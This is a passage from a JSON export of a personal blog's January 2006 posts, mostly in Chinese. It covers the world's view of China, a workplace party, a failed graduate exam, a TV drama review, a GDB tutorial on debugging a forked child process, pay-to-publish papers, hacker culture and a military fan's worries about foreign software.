some foreign media report negatively which makes some people misunderstand China. Last but not least, the behavior of some international corporations of China have a great direct influence on knowing China. these corps in foreign countries are representatives of China just like Mcdonald is a representiative of United States in China.\nHe Dele added a new point that reference book is also a tool to know China. As the editor of Encyclopaedia Britannica, he make his effort to make people around the world know a true China through the Encyclopaedia Britannica and now there are over 2000 issues about China collected in the book.\nMaking the world know China is not the responsibility of some people, but the responsibility of every Chinese people. Pay more attention to your daily life and you may find more chance to show a true China to the world.\n[people]\nZhao Qizheng – the news office director of the council\nHe Dele – the editor of Encyclopaedia Britannica\n[new words to me]\nanchorman – 新闻节目主持人\nhonored guest – 嘉宾\ngown – 长袍\n","permalink":"https://tonybai.com/2006/01/16/make-the-world-know-china/","summary":"\u003cp\u003eLast night I watched the ‘Dialogue’ , which is a very pop ‘talk show’ TV program of \u003ca href=\"http://www.cctv.com/homepage/profile/02/index.shtml\"\u003eCCTV2\u003c/a\u003e.  the topic of this issue is ‘how to make the world know China’. Zhao Qi-zheng and He Dele were invited as honored guests.\u003c/p\u003e\n\u003cp\u003eSo far, China has become the 6th largest economic entity in the world. but how much on earth does the world know China? I have been in BBC Learning English discusion group for several months and there was a topic on China last November. People from other place of the world, most of which did not come to China,  told their impression of China. In their mind, China is a large country with huge population, long history and it is a socialism country in which people are lack of political freedom and not well educated. Some people even do not know the relationship among Mainland, Taiwan, Hongkong and Macao. During the ‘Dialogue’, a guest told us a story. he said when he first arrived in America, an american told him he was not like a Chinese. he was amazing and asked the american why he felt like that. the american said Chinese should wear gown like the actor in the movie \u0026ldquo;Crouching Tiger, Hidden Dragon\u0026rdquo;.\u003c/p\u003e","title":"make the world know China"},{"content":"一年一度的部门联欢如期举行。由于部门今年的业绩一片飘红，大家脸上都带着笑容。联欢吗就是要放下一切不愉快的事情尽情的玩，起码我是这么做了，晚会结束后我的嗓子都喊哑了:)。\n吃吃喝喝、玩玩闹闹向来是联欢的主题。参加联欢获得快乐最大的秘诀就是\u0026rsquo;积极参与\u0026rsquo;，尤其是在互动游戏中体味快乐。我是这么想的也是这么做的。参与游戏还有个最大的好处就是有小巧而实用的奖品亚，多参与多得奖，多多益善吗:)。\n对于结束一天辛勤工作的我们来说，吃首先是第一位的。今年活动的地点是家4星级酒店，环境尚可，菜肴也颇对我的口味，我自然不能放过这么好的机会，填饱肚子是第一要务，不补充能量怎么能在后面的游戏环节独领风骚呢。:)\n联欢会上游戏是必不可少的一道大餐。其中的一个互动游戏\u0026rsquo;好爸爸\u0026rsquo;还让我们感到了亲情的存在。\n每年部门联欢会都有一个固定的节目–部门颁奖，今年我也榜上有名。在领奖的时候感受到的同事们的掌声让我在高兴之余也很是振奋。不用想太多，高兴就好。\n总之，得奖的得了，取乐的乐了，想玩的玩了，大家各得其所。\n","permalink":"https://tonybai.com/2006/01/15/note-of-the-department-get-together/","summary":"\u003cp\u003e一年一度的部门联欢如期举行。由于部门今年的业绩一片飘红，大家脸上都带着笑容。联欢吗就是要放下一切不愉快的事情尽情的玩，起码我是这么做了，晚会结束后我的嗓子都喊哑了:)。\u003c/p\u003e","title":"部门联欢小记"},{"content":"在收音机中得知今天是考研日。此时此刻，全国各地有过百万的莘莘学子们正在考场内紧张的答题。考研对我来说是个沉重的话题，不仅仅是因为我曾倒在\u0026rsquo;研究生圣堂\u0026rsquo;的大门口，更是因为它让我重新认识了我自己。现在想想两年前的那次失败也许不是偶然，而是必然。\n记得在中学学写英文信的时候，大家几乎都不约而同地在第一行写下类似\u0026quot;How time flies!\u0026ldquo;的语句，感叹一下\u0026quot;时间飞逝\u0026rdquo;。而这句却正是现在坐在本本前的我的感受。2年了，过得真快。和我一起考研且成功通过的同窗们都已经陆陆续续找到了不错的工作，我从心底里为他们感到高兴，因为他们的付出得到了回报。\n2年了，失败的痛楚已经被时间之石磨砺殆尽，考研二字也只是偶尔出现在和GF的打趣中。不得不承认我是一个有些骄傲甚至是自负的人，而恰恰是这一点让我失去了很多机会。时常听GF说她那年考研是多么的痛苦，以至于她现在走在校园看到深夜自习楼里的灯光人影儿还心有余悸。而两年前的我的的确确没有感受到这些。我有时也在想为什么大家都说考研辛苦而我却没感受到呢？我考研时真地全身心投入了吗？现在看来显然没有。记得当时Leo和我寝室的两位弟兄出去租房，每晚都挑灯夜战，每次去他们那拜访看到的都是满烟灰缸的烟头，看到他们疲惫的样子，我心里总在想用得着吗，我的自大心里在那时再一次发作。事实证明我错了，三位弟兄都如愿以高分升学，而我落榜了。通过这么一个简单对比不难发现考研真正需要的是什么东西，而这又恰恰是我当时最缺乏的。到底是什么呢？是智力吗？我从不认为考研是智力或智商的PK，从资质上看我起码不比我那三位弟兄们差。我觉得是正确的态度和坚韧的毅力，我的失败让我深刻的体会到这一点。当时的我是跨专业报考，自从大二开始开设专业课后，我就渐渐地对本专业失去了兴趣，取而代之的是沉迷于程序设计当中(遗憾的是现在看来当时的我还是走了不少弯路)，大三时大家都在为考研而奔波，我也毅然决定考计算机专业研究生。勇气和热情让我着实奋斗了一段时间，不过苦闷的复习实在难以让我安心坐在自习室中，心里面总想着那些自己还未开发完的小程序，遂每天早早收工，回到寝室坐在本本前开始敲键盘，遇到难题就到书店或图书馆翻看相关资料，每一次难题突破后看到程序按照自己的设想运行都让我很有成就感(我想大多数程序员都会有和我类似的经历和感受)。就这样即使在临近考试的11月、12月我也时常这样乐此不疲的编写着我心目中的程序。俗话说一心难以二用，何况我又是在考研、编程和本专业课三者之间周璇呢。有过编写程序经历的人都知道一旦陷入一个问题当中，你的大脑中就几乎容不下其他任何东西了，直到这个问题被解决。就因为这样我即使不写程序坐在自习室中做高数题的时候，我的思维也没有完完全全的投入到面前的高数题上，时常是简单看看题目，想上一会儿，如果没有思路，就直接向答案求救了。这样在表面上这些题都被我做完了看懂了，实则自己独立从头到尾完成的题目少之甚少。大家都知道，这是最忌讳的自欺欺人的做法了，缺少了独立思考和解决问题的训练让我在考研战场上吃足了苦头，成绩不堪入目，以至于至今其仍是我GF茶余饭后的笑柄。\n我们公司以前曾提出过一句口号叫\u0026quot;软件是一种态度\u0026quot;，但至今我也没有理解其中的含义。不过\u0026rsquo;态度\u0026rsquo;二字的确厉害，它甚至会影响到你的命运。对，好像就有一句话或是一本书名叫\u0026quot;态度决定命运\u0026quot;。考研的失利教训让我在工作中时刻提醒自己要端正态度，不能重蹈覆辙了。有人说\u0026rsquo;失败也是一种美\u0026rsquo;。的确，失败给了我一个重新认识自我的机会，它让认识到该学会如何控制自我，该学会如何坚韧不拔。失败后的成功也许是更加美丽的。\n最后还是祝愿那些正在考场内努力的考研一族们都能金榜题名!\n","permalink":"https://tonybai.com/2006/01/14/the-time-of-one-year-exam-for-postgraduate/","summary":"\u003cp\u003e在收音机中得知今天是考研日。此时此刻，全国各地有过百万的莘莘学子们正在考场内紧张的答题。考研对我来说是个沉重的话题，不仅仅是因为我曾倒在\u0026rsquo;研究生圣堂\u0026rsquo;的大门口，更是因为它让我重新认识了我自己。现在想想两年前的那次失败也许不是偶然，而是必然。\u003c/p\u003e","title":"又是一年考研时"},{"content":"最近央视一套正在热播一部反映当代军人题材的电视剧\u0026quot;沙场点兵\u0026quot;，军事题材电视剧一直是我的最爱，从\u0026quot;突出重围\u0026quot;、到\u0026quot;DA师\u0026quot;再到这部\u0026quot;沙场点兵\u0026quot;我都尽量抽出时间看上几集。军事剧播出自然少不了军迷们对其的评论，我在很多军事网站上看到了对其负面的评论，当然主要是针对剧情逻辑的不合理以及对军事理论的理解差异。我并未从头看起，只是看了中间的几集，就这几集如果让我谈谈的话，我会给沙剧一些掌声。\n众所周知，中国现在的军力无论在装备还是在思想上都逊色于欧美等国家的军队，所以在这种情况下拍摄的电视剧，自然不能跟得上军迷们的思维水平，所以那些负面评论就无可非议了。再强调一点的是这仅仅是部电视剧，它仅仅是一些稍熟悉军队的剧作家心目中的中国当代军人的形象和行为。所以我们大可不必过分在意剧中的那些可能有些不合军事逻辑的剧情和那些在我们军迷心中已经落后于时代的训练方法和军事理论。\n那么我们到底该看重哪些方面呢？是战法、还是装备？我想都不是。在我看来，我们最应该关注的是通过该剧到底能暴露出多少我们的人民军队的问题和不足，这些不足不是指战法的低级，也不是指装备的落后，而是指那些真正影响人民军队在未来走向强大的那些问题，如官僚、演戏做秀、个人利益高于军队利益、生活在荣誉的光环下不思进取等等。而这部剧在反映这些问题上是值得我们给予其掌声的。\n剧中给我印象最深的人物不是庞承功，也不是康凯，而是那个老头-军区副司令员楚淮海，我觉得他是一个真正合格的探索者，一个真正为人民军队的建设思索探路的军队高级将领，一个具有前瞻性的军队伯乐。有时候自己边看剧边在想：像这样的一个老头，在我们的真实的人民军队中到底有多少呢。我是希望越多越好。\n剧中还有一个典型的角色让我印象深刻，那就是原师长魏嵩平。魏嵩平这个角色我想最能代表当代人民军队中的一些高级将领，而且还为数不少。如果非要从正反角度来谈，这也就算是个典型的反面角色，不过他却能给我们带来太多的思考：走过80多年坎坷岁月的人民军队当中为什么出现越来越多像魏嵩平这样的人呢？\n剧中的两个唱对手戏的主角这里不能不提。庞承功，最开始我就意识到他是个深受西方军事文化影响的一名很有潜质的年轻指挥官，而且从各个方面来讲他都是蓝军部队指挥官的最佳人选，果不其然，剧情至中段，庞承功真的挂帅野狼团；庞承功这个角色映射的是我们当今人民军队中成长起来的新一代的骨干，他们思维敏锐，行为果断，敢于创新甚至铤而走险，自信甚至是自负，而恰恰在他们身上缺少一丝不苟稳重和老练。这样的人需要伯乐来引导，引导有方，才能使他们百炼成钢。康凯，则是自学成材的军中典范，他们没有什么背景，凭借着自己扎实的基本功和不懈的热情在军中扎稳脚跟。稳重是他们的特点。这两种角色的鲜明对比也是我想给沙剧掌声的原因。\n最后用原猛虎团参谋长田青河的一句话来做结尾：\u0026ldquo;回头看的劲头儿多了，向前走的劲头儿小了\u0026rdquo;。我们很多人在现实生活中又何尝不是如此呢。\n","permalink":"https://tonybai.com/2006/01/10/some-applause-to-the-troops-of-the-battlefield/","summary":"\u003cp\u003e最近央视一套正在热播一部反映当代军人题材的电视剧\u0026quot;沙场点兵\u0026quot;，军事题材电视剧一直是我的最爱，从\u0026quot;突出重围\u0026quot;、到\u0026quot;DA师\u0026quot;再到这部\u0026quot;沙场点兵\u0026quot;我都尽量抽出时间看上几集。军事剧播出自然少不了军迷们对其的评论，我在很多军事网站上看到了对其负面的评论，当然主要是针对剧情逻辑的不合理以及对军事理论的理解差异。我并未从头看起，只是看了中间的几集，就这几集如果让我谈谈的话，我会给沙剧一些掌声。\u003c/p\u003e","title":"给“沙场点兵”一些掌声"},{"content":"有一段时间没有写技术方面的东西了^_^。众所周知，GDB是Unix/Linux下调试程序的龙头老大，GDB功能强大，我们在平时多使用其一些最基本的功能，而且一般调试的都是单进程的程序。最近一个项目中的问题让我接触如何使用GDB调试多进程程序，更确切的是说调试调用fork的多进程程序。\n使用GDB最好的文档就是其名为\u0026rsquo;Debugging with GDB\u0026lsquo;的参考手册。手册中有一小章节提到了如何调试多进程程序。一般情况下，如果被gdb调试的程序中调用fork派生出一个新的子进程，这时gdb调试的仍然还是父进程，其子进程的执行不被理会。如果之前你在子进程的执行routine上设置了断点，那么当子进程执行到那个断点时，子进程会因为收到一个SIGTRAP信号而自行终止，除非你在子进程中拦截了该信号。\n那么使用GDB该如何调试多进程程序呢？在其参考手册中提供了一种通用方法，这里说说(GDB在某些平台上如HP-UX，还提供了更简便的方法，不过不具备通用性，这里不说)：\n[测试程序]\n我们先看看我们的测试程序:\n/* in eg1.c */\nint wib(int no1, int no2)\n{\nint result, diff;\ndiff = no1 – no2;\nresult = no1 / diff;\nreturn result;\n}\nint main()\n{\npid_t pid;\npid = fork();\nif (pid \u0026lt;0) {\nprintf(\u0026ldquo;fork err\\n\u0026rdquo;);\nexit(-1);\n} else if (pid == 0) {\n/* in child process */\nsleep(60); —————— (!)\nint value = 10;\nint div = 6;\nint total = 0;\nint i = 0;\nint result = 0;\nfor (i = 0; i \u0026lt; 10; i++) {\nresult = wib(value, div);\ntotal += result;\ndiv++;\nvalue–;\n}\nprintf(\u0026quot;%d wibed by %d equals %d\\n\u0026quot;, value, div, total);\nexit(0);\n} else {\n/* in parent process */\nsleep(4);\nwait(-1);\nexit(0);\n}\n}\n该测试程序中子进程运行过程中会在wib函数中出现一个\u0026rsquo;除0\u0026rsquo;异常。现在我们就要调试该子进程。\n[调试原理]\n不知道大家发现没有，在(!)处在我们的测试程序在父进程fork后，子进程调用sleep睡了60秒。这就是关键，这个sleep本来是不该存在于子进程代码中的，而是而了使用GDB调试后加入的，它是我们调试的一个关键点。为什么要让子进程刚刚运行就开始sleep呢？因为我们要在子进程睡眠期间，利用shell命令获取其process id，然后再利用gdb调试外部进程的方法attach到该process id上，调试该进程。\n[调试过程]\n我觉上面的调试原理的思路已经很清晰了，剩下的就是如何操作的问题了。我们来实践一次吧！\n我所使用的环境是Solaris OS 9.0/GCC 3.2/GDB 6.1。\nGDB调试程序的前提条件就是你编译程序时必须加入调试符号信息，即使用\u0026rsquo;-g\u0026rsquo;编译选项。首先编译我们的源程序\u0026rsquo;gcc -g -o eg1 eg1.c\u0026rsquo;。编译好之后，我们就有了我们的调试目标eg1。由于我们在调试过程中需要多个工具配合，所以你最好多打开几个终端窗口，另外一点需要注意的是最好在eg1的working directory下执行gdb程序，否则gdb回提示\u0026rsquo;No symbol table is loaded\u0026rsquo;。你还得手工load symbol table。好了，下面我们就\u0026rsquo;按部就班\u0026rsquo;的开始调试我们的eg1。\n执行eg1:\neg1 \u0026amp; — 让eg1后台运行吧。\n查找进程id:\nps -fu YOUR_USER_NAME\n运行gdb:\ngdb\n(gdb) attach xxxxx — xxxxx为利用ps命令获得的子进程process id\n(gdb) stop — 这点很重要，你需要先暂停那个子进程，然后设置一些断点和一些Watch\n(gdb) break 37 — 在result = wib(value, div);这行设置一个断点,可以使用list命令察看源代码\nBreakpoint 1 at 0×10808: file eg1.c, line 37.\n(gdb) continue\nContinuing.\nBreakpoint 1, main () at eg1.c:37\n37 result = wib(value, div);\n(gdb) step\nwib (no1=10, no2=6) at eg1.c:13\n13 diff = no1 – no2;\n(gdb) continue\nContinuing.\nBreakpoint 1, main () at eg1.c:37\n37 result = wib(value, div);\n(gdb) step\nwib (no1=9, no2=7) at eg1.c:13\n13 diff = no1 – no2;\n(gdb) continue\nContinuing.\nBreakpoint 1, main () at eg1.c:37\n37 result = wib(value, div);\n(gdb) step\nwib (no1=8, no2=8) at eg1.c:13\n13 diff = no1 – no2;\n(gdb) next\n14 result = no1 / diff;\n(gdb) print diff\n$6 = 0 ——- 除数为0，我们找到罪魁祸首了。\n(gdb) next\nProgram received signal SIGFPE, Arithmetic exception.\n0xff29d830 in .div () from /usr/lib/libc.so.1\n至此，我们调试完毕。\n上面仅仅是一个简单的多进程程序，在我们平时开发的多进程程序远远比这个复杂，但是调试基本原理是不变，有一些技巧则需要我们在实践中慢慢摸索。\n","permalink":"https://tonybai.com/2006/01/08/debug-multiple-process-program-using-gdb/","summary":"\u003cp\u003e有一段时间没有写技术方面的东西了^_^。众所周知，\u003ca href=\"http://www.gnu.org/s/gdb\"\u003eGDB\u003c/a\u003e是Unix/Linux下调试程序的龙头老大，GDB功能强大，我们在平时多使用其一些最基本的功能，而且一般调试的都是单进程的程序。最近一个项目中的问题让我接触如何使用GDB调试多进程程序，更确切的是说调试调用fork的多进程程序。\u003c/p\u003e\n\u003cp\u003e使用GDB最好的文档就是其名为\u0026rsquo;\u003ca href=\"http://sources.redhat.com/gdb/current/onlinedocs/gdb_toc.html#SEC_Contents\"\u003eDebugging with GDB\u003c/a\u003e\u0026lsquo;的参考手册。手册中有一小章节提到了如何调试多进程程序。一般情况下，如果被gdb调试的程序中调用fork派生出一个新的子进程，这时gdb调试的仍然还是父进程，其子进程的执行不被理会。如果之前你在子进程的执行routine上设置了断点，那么当子进程执行到那个断点时，子进程会因为收到一个SIGTRAP信号而自行终止，除非你在子进程中拦截了该信号。\u003c/p\u003e","title":"用GDB调试多进程程序"},{"content":"也许是我孤陋寡闻，今天才从SINA第一次听说发论文要自掏腰包。下午和GF聊天，GF为我证实了这件事。还能说什么呢，感叹呗!\n我是本科毕业，没有过研究生、博士生的经历，不过我或多或少也了解些国家对研究生和博士生的一些硬性要求，那就是在读期间论文数量。毕业前数量不达标，想毕业就两个字\u0026rsquo;没门\u0026rsquo;。我所就读的大学可以算是国内一所名校，由于学校名声在外，专业在国内名列前茅，学生们的论文在名师的推荐下一般不愁没有期刊收录，而且有些学生的文章也确实有\u0026rsquo;新意\u0026rsquo;。所以从那个环境中出来的我自然没有想过发论文居然要掏钱。\n在网上搜索了一下，发现除了学生为了毕业而掏钱发论文外，还有一部分人为了评职称也\u0026rsquo;铤而走险\u0026rsquo;找渠道发论文。围绕着\u0026rsquo;掏钱发论文\u0026rsquo;，校园里甚至出现了\u0026rsquo;论文发表代理\u0026rsquo;等新鲜名词，看来在这个领域市场潜力还真不小呀^_^。\n看到这些，你的第一感觉是什么？我想很多人会和我一样，想骂想抨击，可是冷静下来想想，也许你会感到一丝无奈。\n[学生们无奈]\n经历了千军万马过独木桥般的高考，我们来到了高等学府，又苦读3年，发现扩招后人才多了，工资低了，就业压力大了。再忍受一年的苦读，终于拿到了研究生录取通知书，高高兴兴的进入研究生阶段的课堂。不过有些异样的是你发现你身旁的人还是那么多。终于有一天你又感到压力了，那就是如何毕业，如何能足量的发表论文。无奈“狼多肉少”，全中国的学术期刊也就那么百千家，而要发论文的学生却如此之多。\u0026lsquo;名校效应\u0026rsquo;让一部分人得以在知名期刊达到目标，剩下的大部分人怎么办？无奈地自掏腰包发论文。\n[老师们无奈]\n高校老师一般也都要做学问，而评价学问做的好坏的重要一点也是发表论文多寡。突然有一段时间发现自己带的学生越来越多，自己居然挤不出时间发论文了，而且还要为其学生操心发论文一事，毕竟不能看着这些学生在自己的手里毕不了业呀。遂拉关系找门道争取更多的期刊版面，当然钱也是不能少的。\n[学校无奈]\n学校也无奈亚。扩招了，人多了。哪管的过来呀，看到学生提供的\u0026rsquo;录用通知单\u0026rsquo;就睁只眼闭只眼吧。\n[教育部无奈]\n都是国情\u0026rsquo;造孽\u0026rsquo;呀。谁让我们人口巨多呢。\n[国家无奈]\n世界都在看着我们，我们一定要普及高等教育，上大学的人越多越好。否则别人总指手画脚说我们的教育落后，说我们获得教育的权利不合理不公平。\n对中国教育的抨击已经太多太多，这里再罗列那些抨击的词藻也无太大意义。虽然我一直羡慕西方国家的教育体制和治学之风，但是我又不能不考虑我们独一无二的\u0026rsquo;国情\u0026rsquo;。也许在未来的若干年\u0026rsquo;发论文要掏钱\u0026rsquo;的现象仍会存在或者蔓延，但是我还是期待着这一现象\u0026rsquo;灭绝\u0026rsquo;的那一天。不过现实的情况是\u0026rsquo;无奈\u0026rsquo;仍在继续着…\n有时候自己都觉得自己太天真、太幼稚、太理想化了。^_^\n","permalink":"https://tonybai.com/2006/01/07/have-to-pay-for-issuing-the-papers/","summary":"\u003cp\u003e也许是我孤陋寡闻，今天才从SINA第一次听说发论文要自掏腰包。下午和GF聊天，GF为我证实了这件事。还能说什么呢，感叹呗!\u003c/p\u003e\n\u003cp\u003e我是本科毕业，没有过研究生、博士生的经历，不过我或多或少也了解些国家对研究生和博士生的一些硬性要求，那就是在读期间论文数量。毕业前数量不达标，想毕业就两个字\u0026rsquo;没门\u0026rsquo;。我所就读的大学可以算是国内一所名校，由于学校名声在外，专业在国内名列前茅，学生们的论文在名师的推荐下一般不愁没有期刊收录，而且有些学生的文章也确实有\u0026rsquo;新意\u0026rsquo;。所以从那个环境中出来的我自然没有想过发论文居然要掏钱。\u003c/p\u003e","title":"听说发论文要掏钱"},{"content":"最近看了Eric S. Raymond的被称为开源文化圣典的\u0026rsquo;Cathedral and Bazaar\u0026rsquo;(大教堂与市集)以及他的另外一篇文章\u0026rsquo;How To Become A Hacker\u0026rsquo;，必须承认的是我不能够完全理解其中的内容，因为没有体验，或者说我还不够资格对Hacker Culture高谈阔论，所以这里仅作部分摘要，并说说自己第一时间的感受，望日后能温故知新。\n在开始了解Hacker Culture之前我们应该知道\u0026rsquo;什么是Hacker\u0026rsquo;。Hacker不同于Cracker，前者指那些热衷于计算机技术，水平高超的电脑专家，他们把通过自己的实践而获得的知识广泛传播；而后者则尤指那些为了个人利益利用计算机技术搞非法破坏的人。像我们耳熟能详的Hacker先驱包括开源软件运动的发起人Richard M. Stallman、Unix之父Ken Thompson、C语言的发明人之一的Dennis Ritchie、Linux之父Linus Torvalds以及Eric S. Raymond等等。我相信这些人才是从事计算机行业的人们心目中真正的\u0026rsquo;Hero\u0026rsquo;。\n\u0026lsquo;Cathedral and Bazaar\u0026rsquo;可谓是开源世界对Hacker Culture的一个阶段性的小结，当然Hacker Culture还在进化，其内容也在不断的丰富当中。下面是从\u0026rsquo;Cathedral and Bazaar\u0026rsquo;摘录的一些我觉得能够代表Hacker Culture的语句：\n1.Every good work of software starts by scratching a developer\u0026rsquo;s personal itch.\n这里有一个生僻词itch，这个词有\u0026rsquo;发痒\u0026rsquo;、\u0026lsquo;渴望\u0026rsquo;的意思。这句可理解为“每个好的软件工作都开始于满足开发者个人的渴望或为开发者个人\u0026rsquo;抓痒\u0026rsquo;”。Unix的起缘可以很好地证明这一点。而现在的大多数商业软件的开发者则不能归为此类，原因不讲自明。\n2. Good programmers know what to write. Great ones know what to rewrite (and reuse).\nLinus之所以能独立完成一个操作系统内核，很大原因是因为他没有\u0026rsquo;从头开始\u0026rsquo;，而是利用已有的优秀设计思想。\n3. When you lose interest in a program, your last duty to it is to hand it off to a competent successor.\nHacker也要\u0026rsquo;能上能下\u0026rsquo;。^_^\n4. Treating your users as co-developers is your least-hassle route to rapid code improvement and effective debugging.\n把用户当作协作开发者。\n5. Release Early, Release Often\n这与4相辅相成，互利互惠。Linux已经展现给我们一个Best实践，其“早发布、常发布策略”的一个效果就是利用快速的传播反馈修订来使重复劳动达到最小。\n6. Smart data structures and dumb code works a lot better than the other way around.\n优秀的数据结构设计总是至关重要的，在平时的开发中这一点体会破深。Brooks曾幽默地说：\u0026ldquo;Show me your [code] and conceal your [data structures], and I shall continue to be mystified. Show me your [data structures], and I won’t usually need your [code]; it\u0026rsquo;ll be obvious.\u0026rdquo;\n7. Often, the most striking and innovative solutions come from realizing that your concept of the problem was wrong.\n当你认识到你对问题的理解是错误的，这时不要灰心，因为一个具有革新性的解决方案也许正摆在你的眼前，我想很多人都有过类似的经历，Me,too。\n8. \u0026ldquo;Perfection (in design) is achieved not when there is nothing more to add, but rather when there is nothing more to take away.\u0026rdquo;\n是不是颠覆了你以前对好的设计的理解了呢？\n9. To solve an interesting problem, start by finding a problem that is interesting to you.\n趣之所在，力之所在。\n10. Software is developed for peer recognition not for money.\n至高无上的境界，不为\u0026rsquo;铜臭\u0026rsquo;打工。\n这里再列出一条，这是在一位同行给Eric的回复中提到的一条：\u0026ldquo;杀掉一个项目最快的方法是在你什么都还没有之前就宣布它，我已经见的太多了，尤其是在Linux世界里\u0026rdquo;，看到这一条相信很多曾组织或参与开源项目的人都会深刻的体会到，Me , too。\n中国程序员在开源软件世界中的地位大家也都略知一二，我想这或多或少都与我们对Hacker Culture的理解有关。理解和认同\u0026rsquo;Hacker Culture\u0026rsquo;是你进入开源世界的第一步，正所谓思想的融入才是真正的融入。\n","permalink":"https://tonybai.com/2006/01/05/hacker-culture-summary/","summary":"\u003cp\u003e最近看了\u003ca href=\"http://www.catb.org/~esr\"\u003eEric S. Raymond\u003c/a\u003e的被称为开源文化圣典的\u0026rsquo;\u003ca href=\"http://catb.org/~esr/writings/homesteading/\"\u003eCathedral and Bazaar\u003c/a\u003e\u0026rsquo;(大教堂与市集)以及他的另外一篇文章\u0026rsquo;\u003ca href=\"http://www.catb.org/~esr/faqs/hacker-howto.html\"\u003eHow To Become A Hacker\u003c/a\u003e\u0026rsquo;，必须承认的是我不能够完全理解其中的内容，因为没有体验，或者说我还不够资格对Hacker Culture高谈阔论，所以这里仅作部分摘要，并说说自己第一时间的感受，望日后能温故知新。\u003c/p\u003e","title":"Hacker Culture摘要"},{"content":"看了CCTV7军事频道的一期'2005军中骄傲\u0026rsquo;节目，一幕某集团军地空导弹旅军演画面让我这个\u0026rsquo;非骨灰级\u0026rsquo;的军事迷不禁产生了一丝忧虑。\n从小就爱耍枪弄棒，仰慕那些手握钢枪保家卫国的解放军战士。长大后\u0026rsquo;理所当然\u0026rsquo;地没能成为光荣的子弟兵^_^，却成为了一名执著的军事迷，各大军事网站都留有我的\u0026rsquo;足迹\u0026rsquo;。但是首先声明一点的就是我可不是那些背着相机出没于各大造船厂、机场为我们这些军迷带来最新资料的骨灰级军迷，我仅仅是一般Fans:)。关注最新的军情发展和收集漂亮的先进武器图片是我的嗜好。从大学开始接触网络我就一直是这么做的。\n不可否认的是随着中国经济实力的增强，科技实力的进步，中国军队的现代化建设的脚步的的确确是逐步加快了。中国军队已不是那个靠\u0026rsquo;小米+步枪\u0026rsquo;打天下的部队了，而是一只正在向机械化、信息化转型当中的现代化军队。即使你从官方媒体如CCTV7、解放军日报等上面也可以看到这点，只是你看不到中国军队更先进的武器装备罢了。\nCCTV7可以说是我们解放军的官方频道，其权威性是不言而喻的。其在2005年年末推出一档栏目叫'2005军中骄傲\u0026rsquo;，主要报道过去一年期间在军中的先进典型人物和事迹。我看的这期节目主要报道的是北京军区某地空导弹旅旅长薛爱国的事迹的。而主要情节就是其所在旅进行的一场实兵演习。当然片中薛旅长如何果断指挥演习，使用什么战术思想我是全然不懂，能让我产生共鸣的一是装备，二就是我的老本行计算机以及其承载的软件系统。而在那场演习中恰恰是计算机网络出现了故障，而让我产生忧虑的又恰恰是计算机上安装的操作系统。\n在副旅长的12.1寸的Sony \u0026lsquo;VAIO\u0026rsquo;笔记本上赫然安装着著名厂商微软的Windows XP操作系统! 看到这一幕我的确是很震惊。我首先联想到的是阿根廷和英格兰马岛海战，阿根廷为什么会输？了解当时战况的人都知道，在英格兰军队马上要撑不住的时候，法国人向英国人透露了\u0026rsquo;飞鱼\u0026rsquo;导弹的设计参数，这让阿根廷的导弹攻击完全失去了作用，从而失去了战争的主动权，拱手让出了马岛；其次想到的是曾经看到这样一篇报道说美国国防部决定在其军队的核心部门不采用微软的Windows操作系统。到这也许大家可能都会产生和我一样的忧虑了，那就是在我们的人民军队中还在使用连美国军队都不使用的美国厂商的操作系统软件。天哪！这是多么危险的事情亚。相信稍微了解Windows操作系统的人都知道Windows操作系统自从其诞生那天起就一直为其安全问题而诟病，先不说军用，就是在民用领域其都以安全漏洞繁多而\u0026rsquo;名扬天下\u0026rsquo;，而且这些后门漏洞都不是故意创造的。谁又知道微软的程序员在操作系统中故意留下多少后门呢？试想一下在这个信息化的时代一旦战争爆发，一个美国公司会战在中国这边吗，那么我们的\u0026rsquo;大脑\u0026rsquo;就拱手让给了对方，没有了大脑，再先进的武器又有何用？只能成为对方的战利品，而我们除了失败还能剩下什么呢。\n军队需要现代化、信息化，这句绝对不假。但是军队是个特殊的群体，其现代化、信息化应该是自主的现代化和自主的信息化，而不是建立在对外国有依赖的现代化和信息化。当然仅从这一幕画面我不能完全断言我们的军队所有的机构的现代化、信息化都是有依赖的、不自主的，但是也不能否认这种依赖的存在。不仅仅是操作系统，在CPU等现在我们还对外保持依赖的领域我们都应该认真地思考和努力了。值得庆幸的是中科院龙芯2号的诞生和开源软件如Linux给了我们一个很好的机会去实现自主的现代化和信息化，剩下的工作就是\u0026quot;Just Do It\u0026quot;。\n世界仍然不太平，留给我们的时间很是紧迫，希望有一天在电视上看到的是我完全不熟悉的系统 — 我们自主的操作系统、自主的CPU，希望在不久的将来我这个小军迷能没有忧虑的看到一支实现了自主现代化和信息化的强大的人民军队。如果可能的话，也希望能为军队的现代化出一份薄力^_^。\n","permalink":"https://tonybai.com/2006/01/03/worries-of-a-military-fan/","summary":"\u003cp\u003e看了CCTV7军事频道的一期'2005军中骄傲\u0026rsquo;节目，一幕某集团军地空导弹旅军演画面让我这个\u0026rsquo;非骨灰级\u0026rsquo;的军事迷不禁产生了一丝忧虑。\u003c/p\u003e","title":"一个军迷的忧虑"},{"content":"从CCTV6上得知已经过去的2005年是中国电影诞生100周年。作为中国电影发展的见证人在这样的一个时刻，也说说自己的一些感受。\n绞尽脑汁也记不起来自己第一次在电影院里看的第一部中国电影的名字了。但是从时间上判断，我们这一代进入电影院、接触电影应该是在上世纪80年代末、90年代初。那时候整个中华大地正沐浴在改革开放的春天里，文化领域的人们自然也不甘落后，每年都有不少国产影片诞生。\n脑海中记得一些如\u0026rsquo;红高粱\u0026rsquo;、\u0026lsquo;大红灯笼高高挂\u0026rsquo;等大家耳熟能详的具有代表性的电影，但是很遗憾的是像上面提到的这两部电影我都没有机会在电影院中看到，而是后来在电视上欣赏的。与现在比那时候的电影很少能受到人们注意，特别是在我生长的那个北方小城，人们每天为着生计而忙碌，哪有闲暇时间想到银幕想到电影呢，可以说在那个年代电影还是一种奢侈品，但是对于那时的学生来说可能是个意外。和我同时代的人们可能还清晰地记得那时候学生几乎每个月都有一次看电影的机会，一般是学校包场，而且一看就是2个。学生在老师的带领下排着长队，带着各种各样的小食品，高高兴兴地去看电影了。除此之外每逢寒暑假中小学生还能得到打折地学生票。所以可以说我们这一代还是与电影有着不解之缘的。\n上个世纪90年代是中国社会文化的一个重要的转型期，电影作为一个重要的文化传播渠道也经历着略带阵痛的变革。相信很多同龄人也都有和我同样的电影经历。\n在80年代，纯正国产电影占据着电影市场的几乎全部江山，那时候有不少电影给我们带来了美好回忆，李连杰的\u0026rsquo;少林寺\u0026rsquo;让我们知道了中国传统动作片是个什么样子，也让我们初识一代武打巨星的初出茅庐之作，一招一式的武术套路和演员们的真功夫让不少人为之着迷，还记得那个时候武术培训